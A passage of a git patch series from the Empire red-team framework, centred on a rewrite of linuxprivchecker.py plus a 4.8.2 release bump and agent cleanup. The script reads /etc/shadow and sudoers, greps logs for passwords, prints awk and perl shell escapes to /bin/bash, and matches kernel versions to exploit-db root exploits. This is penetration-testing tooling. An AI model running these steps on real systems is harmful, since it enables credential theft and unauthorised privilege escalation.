Process Hijacking Vulnerability (2)": {"minver": "2.2", "maxver": "2.4.99", + "exploitdb": "22363", "lang": "c", + "keywords": {"loc": ["kernel"], + "val": "kernel"}}, + "Samba 2.2.8 Share Local Privilege Elevation Vulnerability": {"minver": "2.2.8", "maxver": "2.2.8", + "exploitdb": "23674", "lang": "c", + "keywords": {"loc": ["proc", "pkg"], + "val": "samba"}}, + "open-time Capability file_ns_capable() - Privilege Escalation Vulnerability": {"minver": "0", "maxver": "99", + "exploitdb": "25307", + "lang": "c", + "keywords": {"loc": ["kernel"], + "val": "kernel"}}, + "open-time Capability file_ns_capable() Privilege Escalation": {"minver": "0", "maxver": "99", + "exploitdb": "25450", "lang": "c", + "keywords": {"loc": ["kernel"], + "val": "kernel"}}, + } + + # variable declaration + os = sysinfo["OS"]["results"][0] + version = sysinfo["KERNEL"]["results"][0].split(" ")[2].split("-")[0] + langs = devtools["TOOLS"]["results"] + procs = pkgsandprocs["PROCS"]["results"] + kernel = str(sysinfo["KERNEL"]["results"][0]) + mount = driveinfo["MOUNT"]["results"] + # pkgs = pkgsandprocs["PKGS"]["results"] # TODO currently not using packages for sploit appicability but may in future + + # lists to hold ranked, applicable sploits + # note: this is a best-effort, basic ranking designed to help in prioritizing priv escalation exploit checks + # all applicable exploits should be checked and this function could probably use some improvement + avgprob = [] + highprob = [] + + for sploit in sploits: + lang = 0 # use to rank applicability of sploits + keyword = sploits[sploit]["keywords"]["val"] + sploitout = sploit + " || " + "http://www.exploit-db.com/exploits/" + sploits[sploit][ + "exploitdb"] + " || " + "Language=" + sploits[sploit]["lang"] + # first check for kernell applicability + if (version >= sploits[sploit]["minver"]) and (version <= sploits[sploit]["maxver"]): + # next check language applicability + if (sploits[sploit]["lang"] == "c") and (("gcc" in str(langs)) or ("cc" in str(langs))): + lang = 1 # language found, increase applicability score + elif sploits[sploit]["lang"] == "sh": + lang = 1 # language found, increase applicability score + elif sploits[sploit]["lang"] in str(langs): + lang = 1 # language found, increase applicability score + if lang == 0: + sploitout = sploitout + "**" # added mark if language not detected on system + # next check keyword matches to determine if some sploits have a higher probability of success + for loc in sploits[sploit]["keywords"]["loc"]: + if loc == "proc": + for proc in procs: + if keyword in proc: + highprob.append( + sploitout) # if sploit is associated with a running process consider it a higher probability/applicability + break + elif loc == "os": + if (keyword in os) or (keyword in kernel): + highprob.append( + sploitout) # if sploit is specifically applicable to this OS consider it a higher probability/applicability + break + elif loc == "mnt": + if keyword in mount: + highprob.append( + sploitout) # if sploit is specifically applicable to a mounted file system consider it a higher probability/applicability + break + else: + avgprob.append( + sploitout) # otherwise, consider average probability/applicability based only on kernel version + + print(" Note: Exploits relying on a compile/scripting language not detected on this system are marked with a '**' but should still be tested!") + print() + + print() + " The following exploits are ranked higher in probability of success because this script detected a related running process, OS, or mounted file system" + for exploit in highprob: + print(" - " + exploit) + print() + + print(" The following exploits are applicable to this kernel version and should be investigated as well") + for exploit in avgprob: + print(" - " + exploit) + +def run_check(): + + try: + import argparse + import sys + + # Parse out all of the command line arguments + parser = argparse.ArgumentParser(description='Try to gather system information and find likely exploits') + parser.add_argument('-s', '--searches', help='Skip time consumming or resource intensive searches', required=False, action='store_true') + parser.add_argument('-w', '--write', help='Wether to write a log file, can be used with -0 to specify name/location ', required=False, action='store_true') + parser.add_argument('-o', '--outfile', help='The file to write results (needs to be writable for current user)', required=False, default='linuxprivchecker.log') + args = parser.parse_args() + + if args.searches: + processsearches = False + else: + processsearches = True + + # if write is requeted, create a custom logger to send stout to log file as well + if args.write: + # import sys for io redirection + import sys + + class Logger(object): + def __init__(self): + self.terminal = sys.stdout + self.log = open(args.outfile, 'a') + + def write(self, message): + self.terminal.write(message) + self.log.write(message) + sys.stdout = Logger() + + except ImportError: + print('Arguments could not be processed, defaulting to print everything') + processsearches = True + + # title / formatting + bigline = "=======================================================================================" + print(bigline) + print(""" + __ _ ____ _ ________ __ + / / (_)___ __ ___ __/ __ \_____(_) __/ ____/ /_ ___ _____/ /_____ _____ + / / / / __ \/ / / / |/_/ /_/ / ___/ / | / / / / __ \/ _ \/ ___/ //_/ _ \/ ___/ + / /___/ / / / / /_/ /> /dev/null", "msg":"fstab entries", "results":results} - } - - driveInfo = execCmd(driveInfo) - printResults(driveInfo) - - # Scheduled Cron Jobs - cronInfo = {"CRON":{"cmd":"ls -la /etc/cron* 2>/dev/null", "msg":"Scheduled cron jobs", "results":results}, - "CRONW": {"cmd":"ls -aRl /etc/cron* 2>/dev/null | awk '$1 ~ /w.$/' 2>/dev/null", "msg":"Writable cron dirs", "results":results} - } - - cronInfo = execCmd(cronInfo) - printResults(cronInfo) - - # User Info - print("\\n[*] ENUMERATING USER AND ENVIRONMENTAL INFO...\\n") - - userInfo = {"WHOAMI":{"cmd":"whoami", "msg":"Current User", "results":results}, - "ID":{"cmd":"id","msg":"Current User ID", "results":results}, - "ALLUSERS":{"cmd":"cat /etc/passwd", "msg":"All users", "results":results}, - "SUPUSERS":{"cmd":"grep -v -E '^#' /etc/passwd | awk -F: '$3 == 0{print($1)}'", "msg":"Super Users Found:", "results":results}, - "HISTORY":{"cmd":"ls -la ~/.*_history; ls -la /root/.*_history 2>/dev/null", "msg":"Root and current user history (depends on privs)", "results":results}, - "ENV":{"cmd":"env 2>/dev/null | grep -v 'LS_COLORS'", "msg":"Environment", "results":results}, - "SUDOERS":{"cmd":"cat /etc/sudoers 2>/dev/null | grep -v '#' 2>/dev/null", "msg":"Sudoers (privileged)", "results":results}, - "LOGGEDIN":{"cmd":"w 2>/dev/null", "msg":"Logged in User Activity", "results":results} - } - - userInfo = execCmd(userInfo) - printResults(userInfo) - - if "root" in userInfo["ID"]["results"][0]: - print("[!] ARE YOU SURE YOU'RE NOT ROOT ALREADY?\\n") - - # File/Directory Privs - print("[*] ENUMERATING FILE AND DIRECTORY PERMISSIONS/CONTENTS...\\n") - - fdPerms = {"WWDIRSROOT":{"cmd":"find / \\( -wholename '/home/homedir*' -prune \\) -o \\( -type d -perm -0002 \\) -exec ls -ld '{}' ';' 2>/dev/null | grep root", "msg":"World Writeable Directories for User/Group 'Root'", "results":results}, - "WWDIRS":{"cmd":"find / \\( -wholename '/home/homedir*' -prune \\) -o \\( -type d -perm -0002 \\) -exec ls -ld '{}' ';' 2>/dev/null | grep -v root", "msg":"World Writeable Directories for Users other than Root", "results":results}, - "WWFILES":{"cmd":"find / \\( -wholename '/home/homedir/*' -prune -o -wholename '/proc/*' -prune \\) -o \\( -type f -perm -0002 \\) -exec ls -l '{}' ';' 2>/dev/null", "msg":"World Writable Files", "results":results}, - "SUID":{"cmd":"find / \\( -perm -2000 -o -perm -4000 \\) -exec ls -ld {} \\; 2>/dev/null", "msg":"SUID/SGID Files and Directories", "results":results}, - "ROOTHOME":{"cmd":"ls -ahlR /root 2>/dev/null", "msg":"Checking if root's home folder is accessible", "results":results} - } - - fdPerms = execCmd(fdPerms) - printResults(fdPerms) - - pwdFiles = {"LOGPWDS":{"cmd":"find /var/log -name '*.log' 2>/dev/null | xargs -l10 egrep 'pwd|password' 2>/dev/null", "msg":"Logs containing keyword 'password'", "results":results}, - "CONFPWDS":{"cmd":"find /etc -name '*.c*' 2>/dev/null | xargs -l10 egrep 'pwd|password' 2>/dev/null", "msg":"Config files containing keyword 'password'", "results":results}, - "SHADOW":{"cmd":"cat /etc/shadow 2>/dev/null", "msg":"Shadow File (Privileged)", "results":results} - } - - pwdFiles = execCmd(pwdFiles) - printResults(pwdFiles) - - # Processes and Applications - print("[*] ENUMERATING PROCESSES AND APPLICATIONS...\\n") - - if "debian" in sysInfo["KERNEL"]["results"][0] or "ubuntu" in sysInfo["KERNEL"]["results"][0]: - getPkgs = "dpkg -l | awk '{$1=$4=\\"\\"; print($0)}'" # debian - else: - getPkgs = "rpm -qa | sort -u" # RH/other - - getAppProc = {"PROCS":{"cmd":"ps aux | awk '{print($1,$2,$9,$10,$11)}'", "msg":"Current processes", "results":results}, - "PKGS":{"cmd":getPkgs, "msg":"Installed Packages", "results":results} - } - - getAppProc = execCmd(getAppProc) - printResults(getAppProc) # comment to reduce output - - otherApps = { "SUDO":{"cmd":"sudo -V | grep version 2>/dev/null", "msg":"Sudo Version (Check out http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=sudo)", "results":results}, - "APACHE":{"cmd":"apache2 -v; apache2ctl -M; httpd -v; apachectl -l 2>/dev/null", "msg":"Apache Version and Modules", "results":results}, - "APACHECONF":{"cmd":"cat /etc/apache2/apache2.conf 2>/dev/null", "msg":"Apache Config File", "results":results} - } - - otherApps = execCmd(otherApps) - printResults(otherApps) - - print("[*] IDENTIFYING PROCESSES AND PACKAGES RUNNING AS ROOT OR OTHER SUPERUSER...\\n") - - # find the package information for the processes currently running - # under root or another super user - - procs = getAppProc["PROCS"]["results"] - pkgs = getAppProc["PKGS"]["results"] - supusers = userInfo["SUPUSERS"]["results"] - procdict = {} # dictionary to hold the processes running as super users - - for proc in procs: # loop through each process - relatedpkgs = [] # list to hold the packages related to a process - try: - for user in supusers: # loop through the known super users - if (user != "") and (user in proc): # if the process is being run by a super user - procname = proc.split(" ")[4] # grab the process name - if "/" in procname: - splitname = procname.split("/") - procname = splitname[len(splitname)-1] - for pkg in pkgs: # loop through the packages - if not len(procname) < 3: # name too short to get reliable package results - if procname in pkg: - if procname in procdict: - relatedpkgs = procdict[proc] # if already in the dict, grab its pkg list - if pkg not in relatedpkgs: - relatedpkgs.append(pkg) # add pkg to the list - procdict[proc]=relatedpkgs # add any found related packages to the process dictionary entry - except: - pass - - for key in procdict: - print(" " + key) # print the process name - try: - if not procdict[key][0] == "": # only print the rest if related packages were found - print(" Possible Related Packages: ") - for entry in procdict[key]: - print(" " + entry) # print each related package - except: - pass - - # EXPLOIT ENUMERATION - - # First discover the avaialable tools - print - print("[*] ENUMERATING INSTALLED LANGUAGES/TOOLS FOR SPLOIT BUILDING...\\n") - - devTools = {"TOOLS":{"cmd":"which awk perl python ruby gcc cc vi vim nmap find netcat nc wget tftp ftp 2>/dev/null", "msg":"Installed Tools", "results":results}} - devTools = execCmd(devTools) - printResults(devTools) - - print("[+] Related Shell Escape Sequences...\\n") - escapeCmd = {"vi":[":!bash", ":set shell=/bin/bash:shell"], "awk":["awk 'BEGIN {system(\\"/bin/bash\\")}'"], "perl":["perl -e 'exec \\"/bin/bash\\";'"], "find":["find / -exec /usr/bin/awk 'BEGIN {system(\\"/bin/bash\\")}' \\\\;"], "nmap":["--interactive"]} - for cmd in escapeCmd: - for result in devTools["TOOLS"]["results"]: - if cmd in result: - for item in escapeCmd[cmd]: - print(" " + cmd + "-->\\t" + item) - print - print("[*] FINDING RELEVENT PRIVILEGE ESCALATION EXPLOITS...\\n") - - # Now check for relevant exploits (note: this list should be updated over time; source: Exploit-DB) - # sploit format = sploit name : {minversion, maxversion, exploitdb#, language, {keywords for applicability}} -- current keywords are 'kernel', 'proc', 'pkg' (unused), and 'os' - sploits= { "2.2.x-2.4.x ptrace kmod local exploit":{"minver":"2.2", "maxver":"2.4.99", "exploitdb":"3", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "< 2.4.20 Module Loader Local Root Exploit":{"minver":"0", "maxver":"2.4.20", "exploitdb":"12", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "2.4.22 "'do_brk()'" local Root Exploit (PoC)":{"minver":"2.4.22", "maxver":"2.4.22", "exploitdb":"129", "lang":"asm", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "<= 2.4.22 (do_brk) Local Root Exploit (working)":{"minver":"0", "maxver":"2.4.22", "exploitdb":"131", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "2.4.x mremap() bound checking Root Exploit":{"minver":"2.4", "maxver":"2.4.99", "exploitdb":"145", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "<= 2.4.29-rc2 uselib() Privilege Elevation":{"minver":"0", "maxver":"2.4.29", "exploitdb":"744", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "2.4 uselib() Privilege Elevation Exploit":{"minver":"2.4", "maxver":"2.4", "exploitdb":"778", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "2.4.x / 2.6.x uselib() Local Privilege Escalation Exploit":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"895", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "2.4/2.6 bluez Local Root Privilege Escalation Exploit (update)":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"926", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"bluez"}}, - "<= 2.6.11 (CPL 0) Local Root Exploit (k-rad3.c)":{"minver":"0", "maxver":"2.6.11", "exploitdb":"1397", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "MySQL 4.x/5.0 User-Defined Function Local Privilege Escalation Exploit":{"minver":"0", "maxver":"99", "exploitdb":"1518", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"mysql"}}, - "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2004", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (2)":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2005", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (3)":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2006", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (4)":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2011", "lang":"sh", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "<= 2.6.17.4 (proc) Local Root Exploit":{"minver":"0", "maxver":"2.6.17.4", "exploitdb":"2013", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "2.6.13 <= 2.6.17.4 prctl() Local Root Exploit (logrotate)":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2031", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "Ubuntu/Debian Apache 1.3.33/1.3.34 (CGI TTY) Local Root Exploit":{"minver":"4.10", "maxver":"7.04", "exploitdb":"3384", "lang":"c", "keywords":{"loc":["os"], "val":"debian"}}, - "Linux/Kernel 2.4/2.6 x86-64 System Call Emulation Exploit":{"minver":"2.4", "maxver":"2.6", "exploitdb":"4460", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "< 2.6.11.5 BLUETOOTH Stack Local Root Exploit":{"minver":"0", "maxver":"2.6.11.5", "exploitdb":"4756", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"bluetooth"}}, - "2.6.17 - 2.6.24.1 vmsplice Local Root Exploit":{"minver":"2.6.17", "maxver":"2.6.24.1", "exploitdb":"5092", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "2.6.23 - 2.6.24 vmsplice Local Root Exploit":{"minver":"2.6.23", "maxver":"2.6.24", "exploitdb":"5093", "lang":"c", "keywords":{"loc":["os"], "val":"debian"}}, - "Debian OpenSSL Predictable PRNG Bruteforce SSH Exploit":{"minver":"0", "maxver":"99", "exploitdb":"5720", "lang":"python", "keywords":{"loc":["os"], "val":"debian"}}, - "Linux Kernel < 2.6.22 ftruncate()/open() Local Exploit":{"minver":"0", "maxver":"2.6.22", "exploitdb":"6851", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "< 2.6.29 exit_notify() Local Privilege Escalation Exploit":{"minver":"0", "maxver":"2.6.29", "exploitdb":"8369", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "2.6 UDEV Local Privilege Escalation Exploit":{"minver":"2.6", "maxver":"2.6.99", "exploitdb":"8478", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"udev"}}, - "2.6 UDEV < 141 Local Privilege Escalation Exploit":{"minver":"2.6", "maxver":"2.6.99", "exploitdb":"8572", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"udev"}}, - "2.6.x ptrace_attach Local Privilege Escalation Exploit":{"minver":"2.6", "maxver":"2.6.99", "exploitdb":"8673", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "2.6.29 ptrace_attach() Local Root Race Condition Exploit":{"minver":"2.6.29", "maxver":"2.6.29", "exploitdb":"8678", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "Linux Kernel <=2.6.28.3 set_selection() UTF-8 Off By One Local Exploit":{"minver":"0", "maxver":"2.6.28.3", "exploitdb":"9083", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "Test Kernel Local Root Exploit 0day":{"minver":"2.6.18", "maxver":"2.6.30", "exploitdb":"9191", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "PulseAudio (setuid) Priv. Escalation Exploit (ubu/9.04)(slack/12.2.0)":{"minver":"2.6.9", "maxver":"2.6.30", "exploitdb":"9208", "lang":"c", "keywords":{"loc":["pkg"], "val":"pulse"}}, - "2.x sock_sendpage() Local Ring0 Root Exploit":{"minver":"2", "maxver":"2.99", "exploitdb":"9435", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "2.x sock_sendpage() Local Root Exploit 2":{"minver":"2", "maxver":"2.99", "exploitdb":"9436", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "2.4/2.6 sock_sendpage() ring0 Root Exploit (simple ver)":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"9479", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "2.6 < 2.6.19 (32bit) ip_append_data() ring0 Root Exploit":{"minver":"2.6", "maxver":"2.6.19", "exploitdb":"9542", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "2.4/2.6 sock_sendpage() Local Root Exploit (ppc)":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"9545", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "< 2.6.19 udp_sendmsg Local Root Exploit (x86/x64)":{"minver":"0", "maxver":"2.6.19", "exploitdb":"9574", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "< 2.6.19 udp_sendmsg Local Root Exploit":{"minver":"0", "maxver":"2.6.19", "exploitdb":"9575", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "2.4/2.6 sock_sendpage() Local Root Exploit [2]":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"9598", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "2.4/2.6 sock_sendpage() Local Root Exploit [3]":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"9641", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "2.4.1-2.4.37 and 2.6.1-2.6.32-rc5 Pipe.c Privelege Escalation":{"minver":"2.4.1", "maxver":"2.6.32", "exploitdb":"9844", "lang":"python", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "'pipe.c' Local Privilege Escalation Vulnerability":{"minver":"2.4.1", "maxver":"2.6.32", "exploitdb":"10018", "lang":"sh", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "2.6.18-20 2009 Local Root Exploit":{"minver":"2.6.18", "maxver":"2.6.20", "exploitdb":"10613", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "Apache Spamassassin Milter Plugin Remote Root Command Execution":{"minver":"0", "maxver":"99", "exploitdb":"11662", "lang":"sh", "keywords":{"loc":["proc"], "val":"spamass-milter"}}, - "<= 2.6.34-rc3 ReiserFS xattr Privilege Escalation":{"minver":"0", "maxver":"2.6.34", "exploitdb":"12130", "lang":"python", "keywords":{"loc":["mnt"], "val":"reiser"}}, - "Ubuntu PAM MOTD local root":{"minver":"7", "maxver":"10.04", "exploitdb":"14339", "lang":"sh", "keywords":{"loc":["os"], "val":"ubuntu"}}, - "< 2.6.36-rc1 CAN BCM Privilege Escalation Exploit":{"minver":"0", "maxver":"2.6.36", "exploitdb":"14814", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "Kernel ia32syscall Emulation Privilege Escalation":{"minver":"0", "maxver":"99", "exploitdb":"15023", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "Linux RDS Protocol Local Privilege Escalation":{"minver":"0", "maxver":"2.6.36", "exploitdb":"15285", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "<= 2.6.37 Local Privilege Escalation":{"minver":"0", "maxver":"2.6.37", "exploitdb":"15704", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "< 2.6.37-rc2 ACPI custom_method Privilege Escalation":{"minver":"0", "maxver":"2.6.37", "exploitdb":"15774", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "CAP_SYS_ADMIN to root Exploit":{"minver":"0", "maxver":"99", "exploitdb":"15916", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit)":{"minver":"0", "maxver":"99", "exploitdb":"15944", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "< 2.6.36.2 Econet Privilege Escalation Exploit":{"minver":"0", "maxver":"2.6.36.2", "exploitdb":"17787", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "Sendpage Local Privilege Escalation":{"minver":"0", "maxver":"99", "exploitdb":"19933", "lang":"ruby", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "2.4.18/19 Privileged File Descriptor Resource Exhaustion Vulnerability":{"minver":"2.4.18", "maxver":"2.4.19", "exploitdb":"21598", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "2.2.x/2.4.x Privileged Process Hijacking Vulnerability (1)":{"minver":"2.2", "maxver":"2.4.99", "exploitdb":"22362", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "2.2.x/2.4.x Privileged Process Hijacking Vulnerability (2)":{"minver":"2.2", "maxver":"2.4.99", "exploitdb":"22363", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "Samba 2.2.8 Share Local Privilege Elevation Vulnerability":{"minver":"2.2.8", "maxver":"2.2.8", "exploitdb":"23674", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"samba"}}, - "open-time Capability file_ns_capable() - Privilege Escalation Vulnerability":{"minver":"0", "maxver":"99", "exploitdb":"25307", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - "open-time Capability file_ns_capable() Privilege Escalation":{"minver":"0", "maxver":"99", "exploitdb":"25450", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, - } - - # variable declaration - os = sysInfo["OS"]["results"][0] - version = sysInfo["KERNEL"]["results"][0].split(" ")[2].split("-")[0] - langs = devTools["TOOLS"]["results"] - procs = getAppProc["PROCS"]["results"] - kernel = str(sysInfo["KERNEL"]["results"][0]) - mount = driveInfo["MOUNT"]["results"] - #pkgs = getAppProc["PKGS"]["results"] # currently not using packages for sploit appicability but my in future - - - # lists to hold ranked, applicable sploits - # note: this is a best-effort, basic ranking designed to help in prioritizing priv escalation exploit checks - # all applicable exploits should be checked and this function could probably use some improvement - avgprob = [] - highprob = [] - - for sploit in sploits: - lang = 0 # use to rank applicability of sploits - keyword = sploits[sploit]["keywords"]["val"] - sploitout = sploit + " || " + "http://www.exploit-db.com/exploits/" + sploits[sploit]["exploitdb"] + " || " + "Language=" + sploits[sploit]["lang"] - # first check for kernell applicability - if (version >= sploits[sploit]["minver"]) and (version <= sploits[sploit]["maxver"]): - # next check language applicability - if (sploits[sploit]["lang"] == "c") and (("gcc" in str(langs)) or ("cc" in str(langs))): - lang = 1 # language found, increase applicability score - elif sploits[sploit]["lang"] == "sh": - lang = 1 # language found, increase applicability score - elif (sploits[sploit]["lang"] in str(langs)): - lang = 1 # language found, increase applicability score - if lang == 0: - sploitout = sploitout + "**" # added mark if language not detected on system - # next check keyword matches to determine if some sploits have a higher probability of success - for loc in sploits[sploit]["keywords"]["loc"]: - if loc == "proc": - for proc in procs: - if keyword in proc: - highprob.append(sploitout) # if sploit is associated with a running process consider it a higher probability/applicability - break - break - elif loc == "os": - if (keyword in os) or (keyword in kernel): - highprob.append(sploitout) # if sploit is specifically applicable to this OS consider it a higher probability/applicability - break - elif loc == "mnt": - if keyword in mount: - highprob.append(sploitout) # if sploit is specifically applicable to a mounted file system consider it a higher probability/applicability - break - else: - avgprob.append(sploitout) # otherwise, consider average probability/applicability based only on kernel version - - print(" Note: Exploits relying on a compile/scripting language not detected on this system are marked with a '**' but should still be tested!") - print - - print(" The following exploits are ranked higher in probability of success because this script detected a related running process, OS, or mounted file system") - for exploit in highprob: - print(" - " + exploit) - print("") - - print(" The following exploits are applicable to this kernel version and should be investigated as well") - for exploit in avgprob: - print(" - " + exploit) - - print("Finished") - print(bigline) - - - callFunctionLinux() \ No newline at end of file +script_path: 'python/privesc/linuxprivchecker.py' \ No newline at end of file From 18b3a049cf5ebae7e952a345dabb90e3ccd0f45a Mon Sep 17 00:00:00 2001 From: GitHub Actions Date: Fri, 11 Nov 2022 00:50:19 +0000 Subject: [PATCH 5/9] Prepare release 4.8.2 --- CHANGELOG.md | 6 +++++- empire/server/common/empire.py | 2 +- pyproject.toml | 2 +- 3 files changed, 7 insertions(+), 3 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 521029cff..9e9209576 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,6 +7,8 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +## [4.8.2] - 2022-11-11 + ## [4.8.1] - 2022-10-30 - Added container structure test to CI (@Vinnybod) @@ -306,7 +308,9 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Updated shellcoderdi to newest version (@Cx01N) - Added a Nim launcher (@Hubbl3) -[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v4.8.1...HEAD +[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v4.8.2...HEAD + +[4.8.2]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v4.8.1...v4.8.2 [4.8.1]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v4.8.0...v4.8.1 diff --git a/empire/server/common/empire.py b/empire/server/common/empire.py index 6994903fb..2dd77f7f4 100755 --- a/empire/server/common/empire.py +++ b/empire/server/common/empire.py @@ -46,7 +46,7 @@ ) from .events import log_event -VERSION = "4.8.1 BC Security Fork" +VERSION = "4.8.2 BC Security Fork" class MainMenu(cmd.Cmd): diff --git a/pyproject.toml b/pyproject.toml index 05b5ff42d..13127ddef 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [tool.poetry] name = "empire-bc-security-fork" -version = "4.8.1" +version = "4.8.2" description = "" authors = ["BC Security "] readme = "README.md" From deb38fcc0452f01785b13fda58800cc6e00e23a3 Mon Sep 17 00:00:00 2001 From: Anthony Rose <20302208+Cx01N@users.noreply.github.com> Date: Thu, 10 Nov 2022 20:13:41 -0500 Subject: [PATCH 6/9] Removed unused class in python agent (#473) * updated linux_privesc and fixed comment stripping in python * formatting * removed unused class in python agent --- empire/server/data/agent/agent.py | 7 ------- empire/server/data/agent/ironpython_agent.py | 7 ------- 2 files changed, 14 deletions(-) diff --git a/empire/server/data/agent/agent.py b/empire/server/data/agent/agent.py index a4f2271bf..7f27cef16 100644 --- a/empire/server/data/agent/agent.py +++ b/empire/server/data/agent/agent.py @@ -554,13 +554,6 @@ def old_div(a, b): _search_order = [('.py', False), ('/__init__.py', True)] -class ZipImportError(ImportError): - """Exception raised by zipimporter objects.""" - - -# _get_info() = takes the fullname, then subpackage name (if applicable), -# and searches for the respective module or package - class CFinder(object): """Import Hook for Empire""" diff --git a/empire/server/data/agent/ironpython_agent.py b/empire/server/data/agent/ironpython_agent.py index 915172dca..8e1be8d27 100644 --- a/empire/server/data/agent/ironpython_agent.py +++ b/empire/server/data/agent/ironpython_agent.py @@ -667,13 +667,6 @@ def old_div(a, b): _search_order = [('.py', False), ('/__init__.py', True)] -class ZipImportError(ImportError): - """Exception raised by zipimporter objects.""" - - -# _get_info() = takes the fullname, then subpackage name (if applicable), -# and searches for the respective module or package - class CFinder(object): """Import Hook for Empire""" From d39b58d4100b458a01caf1d7533c68f09e112f9f Mon Sep 17 00:00:00 2001 From: Cx01N Date: Thu, 10 Nov 2022 20:13:55 -0500 Subject: [PATCH 7/9] added changelog for 4.8.2 --- CHANGELOG.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 9e9209576..4c590a914 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -8,6 +8,10 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] ## [4.8.2] - 2022-11-11 +- Updated crontab method to work with python3 (@Cx01N) +- Updated linux_privesc_check to work with python3 (@Cx01N) +- Fixed mistakes in README.md (@Cx01N) +- Removed unused class in python agents (@Cx01N) ## [4.8.1] - 2022-10-30 From 40c9bfda76d246b6f8364508694e04291d6fc0b7 Mon Sep 17 00:00:00 2001 From: Cx01N Date: Thu, 10 Nov 2022 20:17:23 -0500 Subject: [PATCH 8/9] formatting --- empire/server/common/helpers.py | 1 + 1 file changed, 1 insertion(+) diff --git a/empire/server/common/helpers.py b/empire/server/common/helpers.py index de5322dce..d1acb1441 100644 --- a/empire/server/common/helpers.py +++ 